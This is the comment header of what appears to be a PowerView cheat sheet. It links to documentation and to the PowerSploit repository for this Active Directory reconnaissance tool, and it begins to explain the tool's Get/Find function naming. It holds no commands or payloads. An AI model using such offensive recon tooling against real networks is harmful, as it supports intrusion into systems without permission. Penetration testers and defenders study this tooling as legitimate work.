# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set
